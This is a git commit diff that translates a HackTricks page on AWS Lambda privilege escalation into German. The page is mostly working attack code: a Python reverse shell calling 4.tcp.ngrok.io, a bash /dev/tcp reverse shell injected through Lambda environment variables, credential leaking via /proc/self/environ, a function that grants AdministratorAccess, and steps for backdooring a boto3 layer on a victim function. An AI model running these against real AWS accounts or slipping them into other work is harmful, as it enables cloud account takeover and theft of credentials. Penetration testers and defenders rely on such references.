Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:20:29 +00:00
parent 77a009d308
commit 4bcd54c1b6
245 changed files with 9959 additions and 12700 deletions

View File

@@ -4,7 +4,7 @@
## lambda
More info about lambda in:
Mehr Informationen über lambda in:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,23 +12,22 @@ More info about lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\
They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\
Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\
A attacker could abuse this to get a **rev shell and steal the token**:
Benutzer mit den Berechtigungen **`iam:PassRole`, `lambda:CreateFunction` und `lambda:InvokeFunction`** können ihre Berechtigungen eskalieren.\
Sie können **eine neue Lambda-Funktion erstellen und ihr eine vorhandene IAM-Rolle zuweisen**, wodurch der Funktion die Berechtigungen zugewiesen werden, die mit dieser Rolle verbunden sind. Der Benutzer kann dann **Code in diese Lambda-Funktion schreiben und hochladen (zum Beispiel mit einer rev shell)**.\
Sobald die Funktion eingerichtet ist, kann der Benutzer **ihre Ausführung auslösen** und die beabsichtigten Aktionen, indem er die Lambda-Funktion über die AWS-API aufruft. Dieser Ansatz ermöglicht es dem Benutzer effektiv, Aufgaben indirekt über die Lambda-Funktion auszuführen, wobei er mit dem Zugriffslevel arbeitet, das der zugehörigen IAM-Rolle zugewiesen ist.\\
Ein Angreifer könnte dies ausnutzen, um eine **rev shell zu erhalten und das Token zu stehlen**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```
```bash
@@ -37,8 +36,8 @@ zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
@@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
You could also **abuse the lambda role permissions** from the lambda function itself.\
If the lambda role had enough permissions you could use it to grant admin rights to you:
Du könntest auch **die Berechtigungen der Lambda-Rolle** von der Lambda-Funktion selbst ausnutzen.\
Wenn die Lambda-Rolle genügend Berechtigungen hatte, könntest du sie verwenden, um dir Administratorrechte zu gewähren:
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda.
Es ist auch möglich, die Anmeldeinformationen der Rolle der Lambda zu leaken, ohne eine externe Verbindung zu benötigen. Dies wäre nützlich für **Netzwerkisolierte Lambdas**, die für interne Aufgaben verwendet werden. Wenn unbekannte Sicherheitsgruppen Ihre Reverse-Shells filtern, ermöglicht Ihnen dieses Stück Code, die Anmeldeinformationen direkt als Ausgabe der Lambda zu leaken.
```python
def handler(event, context):
    sessiontoken = open('/proc/self/environ', "r").read()
    return {
        'statusCode': 200,
        'session': str(sessiontoken)
    }
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```
```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist.
> [!CAUTION]
> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction`
> Beachten Sie, dass selbst wenn es interessant aussieht, **`lambda:InvokeAsync`** **nicht** allein die **Ausführung von `aws lambda invoke-async`** ermöglicht, Sie benötigen auch `lambda:InvokeFunction`.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`**
Wie im vorherigen Szenario können Sie sich **die Berechtigung `lambda:InvokeFunction`** gewähren, wenn Sie die Berechtigung **`lambda:AddPermission`** haben.
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die beliebige Lambda-Dienstrolle, die angegeben ist.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\
They can create a **Lambda function with malicious code and assign it an existing IAM role**.
Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role.
Benutzer mit **`iam:PassRole`, `lambda:CreateFunction` und `lambda:CreateEventSourceMapping`** Berechtigungen (und möglicherweise `dynamodb:PutItem` und `dynamodb:CreateTable`) können indirekt **Privilegien eskalieren**, selbst ohne `lambda:InvokeFunction`.\
Sie können eine **Lambda-Funktion mit bösartigem Code erstellen und ihr eine vorhandene IAM-Rolle zuweisen**.
Anstatt die Lambda direkt aufzurufen, richtet der Benutzer eine vorhandene DynamoDB-Tabelle ein oder nutzt sie, indem er sie über eine Ereignisquellenzuordnung mit der Lambda verknüpft. Diese Einrichtung stellt sicher, dass die Lambda-Funktion **automatisch ausgelöst wird, wenn ein neuer Eintrag** in die Tabelle erfolgt, entweder durch die Aktion des Benutzers oder einen anderen Prozess, wodurch die Lambda-Funktion indirekt aufgerufen und der Code mit den Berechtigungen der übergebenen IAM-Rolle ausgeführt wird.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled:
Wenn DynamoDB bereits in der AWS-Umgebung aktiv ist, **muss der Benutzer nur die Ereignisquellenzuordnung** für die Lambda-Funktion festlegen. Wenn DynamoDB jedoch nicht verwendet wird, muss der Benutzer **eine neue Tabelle** mit aktivierten Streams **erstellen**:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**:
Jetzt ist es möglich, **die Lambda-Funktion mit der DynamoDB-Tabelle zu verbinden**, indem **eine Ereignisquellenzuordnung** erstellt wird:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table:
Mit der mit dem DynamoDB-Stream verknüpften Lambda-Funktion kann der Angreifer **indirekt die Lambda auslösen, indem er den DynamoDB-Stream aktiviert**. Dies kann erreicht werden, indem **ein Element** in die DynamoDB-Tabelle eingefügt wird:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
--item Test={S="Random string"}
```
**Potential Impact:** Direct privesc to the lambda service role specified.
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die angegebene Lambda-Dienstrolle.
### `lambda:AddPermission`
An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource):
Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) beliebige Berechtigungen gewähren** (dies erzeugt ressourcenbasierte Richtlinien, um den Zugriff auf die Ressource zu gewähren):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -147,71 +130,62 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it.
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation zum Lambda-Dienstrolle, die verwendet wird, indem die Berechtigung zum Ändern des Codes und dessen Ausführung gewährt wird.
### `lambda:AddLayerVersionPermission`
An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information
Ein Angreifer mit dieser Berechtigung kann **sich selbst (oder anderen) die Berechtigung `lambda:GetLayerVersion` gewähren**. Er könnte auf die Schicht zugreifen und nach Schwachstellen oder sensiblen Informationen suchen.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potential Impact:** Potential access to sensitive information.
**Potenzielle Auswirkungen:** Potenzieller Zugriff auf sensible Informationen.
### `lambda:UpdateFunctionCode`
Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\
The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**.
Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code.
Benutzer, die die Berechtigung **`lambda:UpdateFunctionCode`** besitzen, haben die Möglichkeit, **den Code einer bestehenden Lambda-Funktion, die mit einer IAM-Rolle verknüpft ist, zu ändern.**\
Der Angreifer kann **den Code der Lambda ändern, um die IAM-Anmeldeinformationen zu exfiltrieren.**
Obwohl der Angreifer möglicherweise nicht die direkte Fähigkeit hat, die Funktion aufzurufen, ist es wahrscheinlich, dass die Lambda-Funktion, wenn sie bereits vorhanden und betriebsbereit ist, durch bestehende Workflows oder Ereignisse ausgelöst wird, wodurch die Ausführung des modifizierten Codes indirekt erleichtert wird.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potential Impact:** Direct privesc to the lambda service role used.
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die Lambda-Dienstrolle, die verwendet wird.
### `lambda:UpdateFunctionConfiguration`
#### RCE via env variables
With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands:
#### RCE über Umgebungsvariablen
Mit diesen Berechtigungen ist es möglich, Umgebungsvariablen hinzuzufügen, die dazu führen, dass die Lambda willkürlichen Code ausführt. Zum Beispiel ist es in Python möglich, die Umgebungsvariablen `PYTHONWARNING` und `BROWSER` auszunutzen, um einen Python-Prozess willkürliche Befehle ausführen zu lassen:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in:
Für andere Skriptsprachen gibt es andere Umgebungsvariablen, die Sie verwenden können. Für weitere Informationen überprüfen Sie die Unterabschnitte der Skriptsprachen in:
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
{{#endref}}
#### RCE via Lambda Layers
#### RCE über Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.
Inside lambda you can check the paths from where python code is loaded with a function like the following:
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ermöglicht es, **Code** in Ihrer Lambda-Funktion einzuschließen, aber **separat zu speichern**, sodass der Funktionscode klein bleiben kann und **mehrere Funktionen Code teilen können**.
Innerhalb von Lambda können Sie die Pfade überprüfen, von denen Python-Code geladen wird, mit einer Funktion wie der folgenden:
```python
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
print(json.dumps(sys.path, indent=2))
```
These are the places:
Diese sind die Orte:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -224,73 +198,61 @@ These are the places:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
Zum Beispiel wird die Bibliothek boto3 von `/var/runtime/boto3` geladen (4. Position).
#### Exploitation
#### Ausnutzung
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
Es ist möglich, die Berechtigung `lambda:UpdateFunctionConfiguration` zu missbrauchen, um **eine neue Schicht** zu einer Lambda-Funktion **hinzuzufügen**. Um beliebigen Code auszuführen, muss diese Schicht eine **Bibliothek enthalten, die die Lambda importieren wird.** Wenn Sie den Code der Lambda lesen können, könnten Sie dies leicht finden, beachten Sie auch, dass es möglich sein könnte, dass die Lambda **bereits eine Schicht verwendet** und Sie die **Schicht herunterladen** und **Ihren Code** dort hinzufügen könnten.
Zum Beispiel, nehmen wir an, dass die Lambda die Bibliothek boto3 verwendet, dies wird eine lokale Schicht mit der letzten Version der Bibliothek erstellen:
```bash
pip3 install -t ./lambda_layer boto3
```
Sie können `./lambda_layer/boto3/__init__.py` öffnen und **die Hintertür im globalen Code hinzufügen** (eine Funktion zum Exfiltrieren von Anmeldeinformationen oder um beispielsweise eine Reverse-Shell zu erhalten).
You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).
Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
Dann zippen Sie das `./lambda_layer` Verzeichnis und **laden die neue Lambda-Schicht** in Ihr eigenes Konto hoch (oder in das des Opfers, aber möglicherweise haben Sie dafür keine Berechtigungen).\
Beachten Sie, dass Sie einen Python-Ordner erstellen und die Bibliotheken dort ablegen müssen, um /opt/python/boto3 zu überschreiben. Außerdem muss die Schicht **mit der Python-Version** kompatibel sein, die von der Lambda verwendet wird, und wenn Sie sie in Ihr Konto hochladen, muss sie in der **gleichen Region** sein:
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Now, make the uploaded lambda layer **accessible by any account**:
Jetzt machen Sie die hochgeladene Lambda-Schicht **für jedes Konto zugänglich**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
And attach the lambda layer to the victim lambda function:
Und füge die Lambda-Schicht zur Opfer-Lambda-Funktion hinzu:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Der nächste Schritt wäre, entweder **die Funktion selbst aufzurufen**, wenn wir können, oder zu warten, bis sie **auf normale Weise aufgerufen wird** was die sicherere Methode ist.
The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal meanswhich is the safer method.
A **more stealth way to exploit this vulnerability** can be found in:
Eine **diskretere Möglichkeit, diese Schwachstelle auszunutzen**, findet sich in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Potential Impact:** Direct privesc to the lambda service role used.
**Potenzielle Auswirkungen:** Direkte Privilegieneskalation auf die Lambda-Service-Rolle, die verwendet wird.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do!
Vielleicht sind Sie mit diesen Berechtigungen in der Lage, eine Funktion zu erstellen und sie über die URL auszuführen... aber ich konnte keinen Weg finden, dies zu testen, also lassen Sie es mich wissen, wenn Sie es tun!
### Lambda MitM
Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
Einige Lambdas werden **sensible Informationen von den Benutzern in Parametern empfangen.** Wenn Sie RCE in einem von ihnen erhalten, können Sie die Informationen, die andere Benutzer an sie senden, exfiltrieren, überprüfen Sie es in:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## References
## Referenzen
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}